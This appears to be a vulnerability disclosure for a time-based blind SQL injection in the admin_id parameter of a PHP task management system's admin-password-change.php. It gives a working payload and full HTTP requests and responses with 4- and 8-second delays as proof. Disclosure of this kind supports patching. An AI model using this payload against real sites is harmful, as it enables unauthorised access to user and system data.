

SQL injection vulnerability exists in admin_id parameter of admin-password-change.php file of php task management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

Request

```
1 POST /taskmatic/admin-password-change.php?admin_id=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/taskmatic/
5 Cookie: PHPSESSID=usc4bb051bb8fb727f1dn6k104
6 Content-Length: 128
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 admin_cnew_password=u[H[w6KrA9F.x-F&admin_new_password=u[H[w6KrA9F.x-F&admin_old_password=u[H[w6KrA9F.x-F&btn_admin_password=
```

Response

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Tue, 02 Apr 2024 05:48:36 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: index.php
11 Content-Length: 9165
12
13 <!DOCTYPE html>
14 <html lang="en">
15 <head>
16 <title>
17 Task Management System by Mayuri K.
18 </title>
19 <meta charset="utf-8">
20 <meta name="viewport" content="width=device-width, initial-scale=1">
21 <link rel="icon" href="assets/img/favicon.png">
22 <link rel="stylesheet" href="assets/css/bootstrap.min.css">
23 <link rel="stylesheet" href="assets/css/bootstrap.theme.min.css">
24 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker.css">
25 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker-custom.css">
26 <script src="assets/js/jquery.min.js">
</script>
```

Inspector

Selected text: sleep(4)

Decoded from: URL encoding

sleep(4)

9,489 bytes 4,017 millis

Sleep time is 8s:

Request

```
1 POST /taskmatic/admin-password-change.php?admin_id=0'XOR(if(now())=sysdate())%2Csleep(8)%2C0))XOR'Z HTTP/1.1
2 Content-Type: application/x-www-form-urlencoded
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/taskmatic/
5 Cookie: PHPSESSID=usc4bb051bb8fb727f1dn6k104
6 Content-Length: 128
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 admin_cnew_password=u[H[w6KrA9F.x-F&admin_new_password=u[H[w6KrA9F.x-F&admin_old_password=u[H[w6KrA9F.x-F&btn_admin_password=
```

Response

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Tue, 02 Apr 2024 05:50:00 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: index.php
11 Content-Length: 9165
12
13 <!DOCTYPE html>
14 <html lang="en">
15 <head>
16 <title>
17 Task Management System by Mayuri K.
18 </title>
19 <meta charset="utf-8">
20 <meta name="viewport" content="width=device-width, initial-scale=1">
21 <link rel="icon" href="assets/img/favicon.png">
22 <link rel="stylesheet" href="assets/css/bootstrap.min.css">
23 <link rel="stylesheet" href="assets/css/bootstrap.theme.min.css">
24 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker.css">
25 <link rel="stylesheet" href="assets/bootstrap-datepicker/css/datepicker-custom.css">
26 <script src="assets/js/jquery.min.js">
</script>
```

Inspector

Selected text: sleep(8)

Decoded from: URL encoding

sleep(8)

9,489 bytes 8,003 millis

Payload: admin_id=0'XOR(if(now())=sysdate())%2Csleep(8)%2C0))XOR'Z

Source Download:

<https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>